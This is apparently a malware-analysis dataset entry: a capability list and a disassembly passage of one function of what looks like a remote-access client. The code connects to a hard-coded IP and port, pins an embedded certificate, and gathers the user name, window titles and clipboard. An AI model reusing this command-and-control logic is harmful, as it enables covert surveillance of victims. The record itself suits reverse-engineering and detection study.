Function at 0x10046ba0
Capabilities:
Act as tcp client
Check for foreground window switch
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create http request
Create process on windows
Create tcp socket
Create thread
Create udp socket
Enumerate gui resources
Get graphical window text
Get http content length
Get session user name
Initialize winsock library
Open clipboard
Read data from internet
Receive data
Send data
Send data on socket
Set registry value
Terminate process
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10148a20
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x2554
call fcn.1011abd0
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
call fcn.10043b70
cmp eax, 1
jne 0x10046c1d
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x1004c247
inc edx
mov ecx, dword [ebp + 0xc]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046c0e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2a1
push edx
push ecx
call fcn.1011a823
add esp, 8
jmp 0x1004c247
push 0x10046a90
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
sub esp, 0x18
mov ecx, esp
push 0x101a65f8
call fcn.10052c90
lea ecx, [ebp - 0x14b4]
call fcn.1003ebc0
add esp, 0x18
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], 0x10
jb 0x10046c50
mov eax, dword [eax]
cmp ecx, 1
jne 0x10046c60
cmp byte [eax], 0x31
mov byte [ebp - 0x21a6], cl
je 0x10046c67
mov byte [ebp - 0x21a6], 0
mov edx, dword [ebp - 0x14a0]
cmp edx, 0x10
jb 0x10046ca1
inc edx
mov ecx, dword [ebp - 0x14b4]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046c97
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c263
push edx
push ecx
call fcn.1011a823
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x101a6388
call fcn.10052c90
lea ecx, [ebp - 0x14b4]
call fcn.1003ebc0
add esp, 0x18
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], 0x10
jb 0x10046cc9
mov eax, dword [eax]
cmp ecx, 1
jne 0x10046cd9
cmp byte [eax], 0x31
mov byte [ebp - 0x21a5], cl
je 0x10046ce0
mov byte [ebp - 0x21a5], 0
mov edx, dword [ebp - 0x14a0]
cmp edx, 0x10
jb 0x10046d1a
inc edx
mov ecx, dword [ebp - 0x14b4]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046d10
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c268
push edx
push ecx
call fcn.1011a823
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x101a6628
call fcn.10052c90
lea ecx, [ebp - 0x14b4]
call fcn.1003ebc0
add esp, 0x18
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], 0x10
jb 0x10046d42
mov eax, dword [eax]
cmp ecx, 1
jne 0x10046d50
cmp byte [eax], 0x31
jne 0x10046d50
mov bh, cl
jmp 0x10046d52
xor bh, bh
mov edx, dword [ebp - 0x14a0]
cmp edx, 0x10
jb 0x10046d8c
inc edx
mov ecx, dword [ebp - 0x14b4]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046d82
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c26d
push edx
push ecx
call fcn.1011a823
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x101a6718
call fcn.10052c90
lea ecx, [ebp - 0x14b4]
call fcn.1003ebc0
add esp, 0x18
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], 0x10
jb 0x10046db4
mov eax, dword [eax]
cmp ecx, 1
jne 0x10046dc2
cmp byte [eax], 0x31
jne 0x10046dc2
mov bl, cl
jmp 0x10046dc4
xor bl, bl
mov edx, dword [ebp - 0x14a0]
cmp edx, 0x10
jb 0x10046dfe
inc edx
mov ecx, dword [ebp - 0x14b4]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046df4
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c272
push edx
push ecx
call fcn.1011a823
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x101a64f8
call fcn.10052c90
lea ecx, [ebp - 0x14b4]
call fcn.1003ebc0
add esp, 0x18
mov edx, dword [ebp - 0x14a0]
cmp edx, 0x10
jb 0x10046e55
inc edx
mov ecx, dword [ebp - 0x14b4]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046e4b
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c277
push edx
push ecx
call fcn.1011a823
add esp, 8
cmp byte [ebp - 0x21a6], 0
je 0x10046eac
push 4
call fcn.1011a4d9
mov dword [eax], 0x1003ef90
lea ecx, [ebp - 0x21c0]
push ecx
push 0
push eax
push 0x100611e0
push 0
push 0
call fcn.10123c98
add esp, 0x1c
mov dword [ebp - 0x21c4], eax
test eax, eax
je 0x1004c281
lea ecx, [ebp - 0x21c4]
call fcn.10024300
cmp dword [ebp - 0x21c0], 0
jne 0x1004c27c
cmp byte [ebp - 0x21a5], 0
je 0x10046f26
cmp dword [0x101ab9d8], 0
jne 0x10046f26
mov byte [0x101abc6d], 0
mov dword [0x101ab9d8], 1
push 8
call fcn.1011a4d9
mov ecx, dword [0x101ab1b8]
mov dword [eax], ecx
mov dword [eax + 4], 0x1003af50
lea ecx, [ebp - 0x21c0]
push ecx
push 0
push eax
push 0x10061410
push 0
push 0
call fcn.10123c98
add esp, 0x1c
mov dword [ebp - 0x21c4], eax
test eax, eax
je 0x1004c281
lea ecx, [ebp - 0x21c4]
call fcn.10024300
cmp dword [ebp - 0x21c0], 0
jne 0x1004c292
test bh, bh
je 0x10046f7b
push 8
call fcn.1011a4d9
mov byte [eax], bl
mov dword [eax + 4], 0x10031130
lea ecx, [ebp - 0x21c0]
push ecx
push 0
push eax
push 0x100614b0
push 0
push 0
call fcn.10123c98
add esp, 0x1c
mov dword [ebp - 0x21c4], eax
test eax, eax
je 0x1004c281
lea ecx, [ebp - 0x21c4]
call fcn.10024300
cmp dword [ebp - 0x21c0], 0
jne 0x1004c297
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
push 0xd
push str.192.168.1.139
mov ecx, 0x101a6528
call fcn.10056190
mov dword [0x101a6324], 0x22b8
push ecx
push str._25_0_5_2_0_4__0_9__01___0_9__0_9___._25_0_5_2_0_4__0_9__01___0_9__0_9___._25_0_5_2_0_4__0_9__01___0_9__0_9___._25_0_5_2_0_4__0_9__01___0_9__0_9____
lea ecx, [ebp - 0x2368]
call fcn.10050950
mov edx, 0x101a6528
cmp dword [0x101a653c], 0x10
cmovae edx, dword [0x101a6528]
mov eax, dword [0x101a6538]
lea edx, [edx + eax]
mov ecx, 0x101a6528
cmovae ecx, dword [0x101a6528]
push ecx
push 0x10
lea eax, [ebp - 0x2368]
push eax
push ecx
call fcn.1005e8f0
add esp, 0x10
mov bl, al
mov edx, dword [ebp - 0x2368]
test edx, edx
je 0x1004701e
or ecx, 0xffffffff
lock xadd dword [edx + 0x20], ecx
jne 0x1004701e
mov esi, dword [ebp - 0x2368]
test esi, esi
je 0x1004701e
mov ecx, esi
lea eax, [esi + 0xc]
mov esi, dword [eax]
mov dword [eax], 0
mov eax, dword [ecx]
push 1
call dword [eax]
test esi, esi
jne 0x10047007
mov dword [ebp - 0x2368], 0
mov ecx, dword [ebp - 0x2358]
test ecx, ecx
je 0x10047045
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x10047045
mov ecx, dword [eax]
mov edx, dword [ecx]
push 1
mov ecx, eax
call edx
test bl, bl
jne 0x1004721b
mov esi, 0x101a6528
cmp dword [0x101a653c], 0x10
cmovae esi, dword [0x101a6528]
push 0
push 0
push 0
push 0
push str.phantom
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x21b0], edi
push 0
push 0x4000000
push 0
push 0
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
mov dword [ebp - 0x21ac], 0
mov dword [ebp - 0x146c], 0
mov dword [ebp - 0x145c], 0
mov dword [ebp - 0x1458], 0xf
mov dword [ebp - 0x21d4], 0
mov dword [ebp - 0x21d0], 4
push 0
lea eax, [ebp - 0x21d0]
push eax
lea eax, [ebp - 0x21d4]
push eax
push 0x20000005
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
lea eax, [ebp - 0x21ac]
push eax
push 0x1000
lea eax, [ebp - 0x1424]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100471c4
nop word [eax + eax]
mov eax, dword [ebp - 0x21ac]
test eax, eax
je 0x100471be
xor esi, esi
test eax, eax
je 0x1004719c
mov al, byte [ebp + esi - 0x1424]
cmp al, 0x20
je 0x10047193
cmp al, 0xa
je 0x10047193
cmp al, 0xd
je 0x10047193
test al, al
je 0x10047193
mov byte [ebp - 0x21cc], al
mov edx, dword [ebp - 0x145c]
mov edi, dword [ebp - 0x1458]
cmp edx, edi
jae 0x10047174
lea ecx, [edx + 1]
mov dword [ebp - 0x145c], ecx
lea ecx, [ebp - 0x146c]
cmp edi, 0x10
cmovae ecx, dword [ebp - 0x146c]
mov byte [ecx + edx], al
mov byte [ecx + edx + 1], 0
jmp 0x10047193
mov byte [ebp - 0x21e4], 0
push dword [ebp - 0x21cc]
push dword [ebp - 0x21e4]
push ecx
lea ecx, [ebp - 0x146c]
call fcn.1005ba70
inc esi
cmp esi, dword [ebp - 0x21ac]
jb 0x10047124
lea eax, [ebp - 0x21ac]
push eax
push 0x1000
lea eax, [ebp - 0x1424]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10047110
mov edi, dword [ebp - 0x21b0]
push ebx
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
lea eax, [ebp - 0x146c]
push eax
mov ecx, 0x101a6528
call fcn.10052b70
mov edx, dword [ebp - 0x1458]
cmp edx, 0x10
jb 0x1004721b
inc edx
mov ecx, dword [ebp - 0x146c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047211
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c29c
push edx
push ecx
call fcn.1011a823
add esp, 8
push 0x7c
call fcn.1011a4d9
mov esi, eax
mov dword [esi], vtable.std::_Associated_state_int_.0
mov dword [esi + 4], 1
lea ecx, [esi + 0xc]
push ecx
call fcn.10104a92
lea ecx, [esi + 0x14]
push 2
push ecx
call fcn.101083d7
lea eax, [esi + 0x44]
push eax
call fcn.1010501d
add esp, 0x14
mov byte [esi + 0x6c], 0
mov dword [esi + 0x70], 0
mov word [esi + 0x74], 0
mov byte [esi + 0x76], 0
mov dword [esi + 0x78], 0
mov dword [ebp - 0x21f0], esi
mov byte [ebp - 0x21ec], 0
mov byte [ebp - 0x21e8], 0
mov dword [ebp - 0x22a4], 0
mov byte [ebp - 0x22a0], 0
mov ebx, 2
nop word [eax + eax]
lea eax, [ebp - 0x2194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100472ce
mov edx, str.Cant_initialize_Winsock__Quitting
mov ecx, 0x101aa2a8
call fcn.10058e70
push eax
call fcn.10059060
add esp, 4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x21a4], eax
cmp eax, 0xffffffff
jne 0x10047310
mov edx, str.Cant_create_a_socket__Quitting
mov ecx, 0x101aa2a8
call fcn.10058e70
push eax
call fcn.10059060
add esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop dword [eax]
nop word [eax + eax]
mov word [ebp - 0x161c], bx
movzx eax, word [0x101a6324]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x161a], ax
mov eax, 0x101a6528
cmp dword [0x101a653c], 0x10
cmovae eax, dword [0x101a6528]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1618], eax
push 0x10
lea eax, [ebp - 0x161c]
push eax
push dword [ebp - 0x21a4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1004737f
mov edx, str.Cant_connect_to_the_server__Will_try_again.
mov ecx, 0x101aa2a8
call fcn.10058e70
push eax
call fcn.10059060
add esp, 4
jmp 0x10047310
movq xmm0, qword [str.clientpekny]
movq qword [ebp - 0x20], xmm0
mov eax, dword [0x10192a4c]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
call fcn.10124b10
add esp, 4
push 0
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x21a4]
call dword [sym.imp.WS2_32.dll_send]
mov edx, str.Initializing_OpenSSL
mov ecx, 0x101aa048
call fcn.10058e70
push eax
call fcn.10059060
call fcn.100dbe90
call fcn.100dc0b0
push eax
call fcn.100d9c10
add esp, 8
mov edi, eax
test edi, edi
jne 0x10047433
mov ecx, str.Error_creating_SSL_CTX
call fcn.10046aa0
lea ecx, [ebp - 0x21f0]
call fcn.10024550
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x1004c247
inc edx
mov ecx, dword [ebp + 0xc]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047424
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2a1
push edx
push ecx
call fcn.1011a823
add esp, 8
jmp 0x1004c247
push edi
call fcn.100da9b0
add esp, 4
mov ebx, eax
mov dword [ebp - 0x21cc], ebx
test ebx, ebx
jne 0x100474a3
mov ecx, str.Error_creating_SSL_object
call fcn.10046aa0
push edi
call fcn.100d9a70
add esp, 4
lea ecx, [ebp - 0x21f0]
call fcn.10024550
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x1004c247
inc edx
mov ecx, dword [ebp + 0xc]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047494
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2a1
push edx
push ecx
call fcn.1011a823
add esp, 8
jmp 0x1004c247
mov edx, str.SSL_initialization_done.
mov ecx, 0x101aa048
call fcn.10058e70
push eax
call fcn.10059060
add esp, 4
mov dword [ebp - 0x1484], 0
mov dword [ebp - 0x1474], 0
mov dword [ebp - 0x1470], 0xf
push 0x3d9
push str._____BEGIN_CERTIFICATE______nMIICqTCCAZGgAwIBAgIJAP20GZyULqYyMA0GCSqGSIb3DQEBCwUAMBQxEjAQBgNV_nBAMTCWxvY2FsaG9zdDAeFw0yMzEyMjkxNTQ2MDFaFw0yNDEyMjkxNTQ2MDFaMBQx_nEjAQBgNVBAMTCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC_nggEBAKo1i25RykSxQ4eQ9vYOmew2dVQs8x3oFACs3pjiH7O0OibeESzdk7Eyt_ng8a_t7pNrmuF1LbYxGHrLna9Kx9m2QjyX1PRxvL43a9nELUXwh7VM3e31PzWntDa_nHXMzWwUoiCIj3WnXvjqct7AjJiX0I62MUoGIBzGPeh9EPzCJskhgmMq4BdMp8fn_n3Bze1qNyBonIDfSMAO5BcHzU_HHspJltRXsrflXYQtsFfYMFqf0D8rhlW1pvcd_nOnsdX_mbdiQ0RX4JvFm9z3LVFPBHpNQJW8DphMm2NmGzGoP1sgTurh_N9n87W8xK_nwpMxzGVKnvQrCRkQlU5u0zvkCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAIHyZ_n4g8UVY4Hl21DM73v0Hoh1MqElp822FRbgGO3g44FesXI1j8iqE4h8rqxiTPr_X_nFKLJ8tMnsHTfiyfzlf63pW0M4A6podRyP_KnOXi1gaBe9ZDWnVBPXdkL5V5VG6w_nVIEiX4e5YmrbXv1OiQ0mB5vKNgwZjck_l3aofol03VD8L7e6_m4K0meAKZGeDkTR_n8nr1_DwY2e8waGv0Jk5LqfKlQu_hzZCFD_BuXyrRV0MRbqJHNXXSpsB6U1Pf3K_nxcUS_yrXnp1Q9YRdMqBTquzEuSkJFTI0Jdc2y2JcCwO3MJeFTT0FUFdDOMZPDE_n68fFHOQDhWs3SgWxFw_n_____END_CERTIFICATE______n
lea ecx, [ebp - 0x1484]
call fcn.10056190
lea esi, [ebp - 0x1484]
cmp dword [ebp - 0x1470], 0x10
cmovae esi, dword [ebp - 0x1484]
push dword [ebp - 0x21a4]
push ebx
call fcn.100dae40
mov edx, str.fd_set.
mov ecx, 0x101aa048
call fcn.10058e70
push eax
call fcn.10059060
push ebx
call fcn.100da340
add esp, 0x10
mov ecx, 0x101aa048
cmp eax, 1
je 0x100475d2
mov edx, str.SSL_connection_failed.
call fcn.10058e70
push eax
call fcn.10059060
push 2
call fcn.101227a7
push eax
call fcn.10070610
push ebx
call fcn.100da5d0
push edi
call fcn.100d9a70
add esp, 0x14
push dword [ebp - 0x21a4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [ebp - 0x1470]
cmp edx, 0x10
jb 0x100475b2
inc edx
mov ecx, dword [ebp - 0x1484]
mov eax, ecx
cmp edx, 0x1000
jb 0x100475a8
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2a1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x1474], 0
mov dword [ebp - 0x1470], 0xf
mov byte [ebp - 0x1484], 0
jmp 0x10047292
mov edx, str.SSL_connection_succeeded.
call fcn.10058e70
push eax
call fcn.10059060
push ebx
call fcn.100da880
mov ebx, eax
push 0xffffffffffffffff
push esi
call fcn.1006cd80
mov esi, eax
push 0
push 0
push 0
push esi
call fcn.100704d0
mov dword [ebp - 0x21b0], eax
push esi
call fcn.1006e410
add esp, 0x24
mov esi, dword [ebp - 0x21b0]
test esi, esi
jne 0x100476fc
mov edx, str.Error_loading_the_expected_certificate.
mov ecx, 0x101aa2a8
call fcn.10058e70
push eax
call fcn.10059060
push ebx
call fcn.1006cf10
mov ebx, dword [ebp - 0x21cc]
push ebx
call fcn.100da5d0
push edi
call fcn.100d9a70
add esp, 0x10
push dword [ebp - 0x21a4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [ebp - 0x1470]
cmp edx, 0x10
jb 0x10047699
inc edx
mov ecx, dword [ebp - 0x1484]
mov eax, ecx
cmp edx, 0x1000
jb 0x1004768f
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2a1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov byte [ebp - 0x1484], 0
mov dword [ebp - 0x1470], 0xf
mov dword [ebp - 0x1474], 0
lea ecx, [ebp - 0x21f0]
call fcn.10024550
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x1004c247
inc edx
mov ecx, dword [ebp + 0xc]
mov eax, ecx
cmp edx, 0x1000
jb 0x100476ed
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2a1
push edx
push ecx
call fcn.1011a823
add esp, 8
jmp 0x1004c247
push esi
push ebx
call fcn.1006c670
add esp, 8
test eax, eax
je 0x100477fa
mov edx, str.Server_certificate_verification_failed:_servers_certificate_does_not_match_the_expected_certificate.
mov ecx, 0x101aa2a8
call fcn.10058e70
push eax
call fcn.10059060
push 2
call fcn.101227a7
push eax
call fcn.10070610
push esi
call fcn.1006cf10
push ebx
call fcn.1006cf10
mov ebx, dword [ebp - 0x21cc]
push ebx
call fcn.100da5d0
push edi
call fcn.100d9a70
add esp, 0x1c
push dword [ebp - 0x21a4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [ebp - 0x1470]
cmp edx, 0x10
jb 0x1004779d
inc edx
mov ecx, dword [ebp - 0x1484]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047793
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2a1
push edx
push ecx
call fcn.1011a823
add esp, 8
mov byte [ebp - 0x1484], 0
mov dword [ebp - 0x1470], 0xf
mov dword [ebp - 0x1474], 0
lea ecx, [ebp - 0x21f0]
call fcn.10024550
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x1004c247
inc edx
mov ecx, dword [ebp + 0xc]
mov eax, ecx
cmp edx, 0x1000
jb 0x10046c0e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2a1
jmp 0x10046c0e
push 0
push 1
push edi
call fcn.100da0d0
mov edx, str.Certificate_verification_successfully_done.
mov ecx, 0x101aa048
call fcn.10058e70
push eax
call fcn.10059060
mov ebx, dword [ebp - 0x21cc]
mov dword [0x101aba00], ebx
mov edx, str.Header_succesfully_sent.
mov ecx, 0x101aa048
call fcn.10058e70
push eax
call fcn.10059060
add esp, 0x14
lea ecx, [ebp - 0x158c]
call fcn.1002cb70
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [ebp - 0x21a4]
mov dword [0x101ab1b8], ecx
push 0x100
lea ecx, [ebp - 0x424]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea ecx, [ebp - 0x15a4]
call fcn.1002d2d0
lea ecx, [ebp - 0x15bc]
call fcn.100419f0
lea ecx, [ebp - 0x15d4]
call fcn.1002cf40
mov dword [ebp - 0x21b0], 0x101
lea eax, [ebp - 0x21b0]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [ebp - 0x146c], 0
mov dword [ebp - 0x145c], 0
mov dword [ebp - 0x1458], 7
test eax, eax
je 0x100478f0
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100478d7
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x224]
push eax
jmp 0x10047907
xor ecx, ecx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100478f5
sub ecx, edx
sar ecx, 1
push ecx
push 0
lea ecx, [ebp - 0x146c]
call fcn.10051fd0
mov eax, 0x7ffffffe
mov ecx, dword [ebp - 0x157c]
sub eax, ecx
cmp eax, 0x26
jb 0x1004c2a6
lea eax, [ebp - 0x158c]
cmp dword [ebp - 0x1578], 8
cmovae eax, dword [ebp - 0x158c]
push ecx
push eax
push 0x26
push str.854686546584846544568654546Connected_
push ecx
push dword [ebp - 0x21d8]
lea ecx, [ebp - 0x1574]
call fcn.1005dba0
push 1
push 0x1018f8a8
lea ecx, [ebp - 0x1574]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x149c], 0
mov dword [ebp - 0x148c], 0
mov dword [ebp - 0x1488], 0
push 0x18
push esi
lea eax, [ebp - 0x149c]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x15d4]
cmp dword [ebp - 0x15c0], 8
cmovae eax, dword [ebp - 0x15d4]
push dword [ebp - 0x15c4]
push eax
lea ecx, [ebp - 0x149c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x14e4], 0
mov dword [ebp - 0x14d4], 0
mov dword [ebp - 0x14d0], 0
push 0x18
push esi
lea eax, [ebp - 0x14e4]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
push 1
push 0x1018f8a8
lea ecx, [ebp - 0x14e4]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x14cc], 0
mov dword [ebp - 0x14bc], 0
mov dword [ebp - 0x14b8], 0
push 0x18
push esi
lea eax, [ebp - 0x14cc]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x146c]
push eax
lea eax, [ebp - 0x14cc]
push eax
push dword [ebp - 0x21d8]
lea ecx, [ebp - 0x155c]
call fcn.1005d9f0
push 1
push 0x1018f8a8
lea ecx, [ebp - 0x155c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x1514], 0
mov dword [ebp - 0x1504], 0
mov dword [ebp - 0x1500], 0
push 0x18
push esi
lea eax, [ebp - 0x1514]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea ecx, [ebp - 0x424]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10047af0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x1514]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x1544], 0
mov dword [ebp - 0x1534], 0
mov dword [ebp - 0x1530], 0
push 0x18
push esi
lea eax, [ebp - 0x1544]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
push 1
push 0x1018f8a8
lea ecx, [ebp - 0x1544]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x14fc], 0
mov dword [ebp - 0x14ec], 0
mov dword [ebp - 0x14e8], 0
push 0x18
push esi
lea eax, [ebp - 0x14fc]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x15a4]
cmp dword [ebp - 0x1590], 8
cmovae eax, dword [ebp - 0x15a4]
push dword [ebp - 0x1594]
push eax
lea ecx, [ebp - 0x14fc]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x152c], 0
mov dword [ebp - 0x151c], 0
mov dword [ebp - 0x1518], 0
push 0x18
push esi
lea eax, [ebp - 0x152c]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
push 1
push 0x1018f8a8
lea ecx, [ebp - 0x152c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x1454], 0
mov dword [ebp - 0x1444], 0
mov dword [ebp - 0x1440], 0
push 0x18
push esi
lea eax, [ebp - 0x1454]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x15bc]
cmp dword [ebp - 0x15a8], 8
cmovae eax, dword [ebp - 0x15bc]
push dword [ebp - 0x15ac]
push eax
lea ecx, [ebp - 0x1454]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x15ec], 0
mov dword [ebp - 0x15dc], 0
mov dword [ebp - 0x15d8], 0
push 0x18
push esi
lea eax, [ebp - 0x15ec]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
mov edx, dword [ebp - 0x1440]
cmp edx, 8
jb 0x10047d1b
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x1454]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047d11
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x1444], 0
mov dword [ebp - 0x1440], 7
xor eax, eax
mov word [ebp - 0x1454], ax
mov edx, dword [ebp - 0x1518]
cmp edx, 8
jb 0x10047d78
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x152c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047d6e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x151c], 0
mov dword [ebp - 0x1518], 7
xor eax, eax
mov word [ebp - 0x152c], ax
mov edx, dword [ebp - 0x14e8]
cmp edx, 8
jb 0x10047dd5
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x14fc]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047dcb
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004c2ab
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x14ec], 0
mov dword [ebp - 0x14e8], 7
xor eax, eax
mov word [ebp - 0x14fc], ax
mov edx, dword [ebp - 0x1530]
cmp edx, 8
jb 0x10047e32
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x1544]
mov eax, ecx
cmp edx, 0x1000
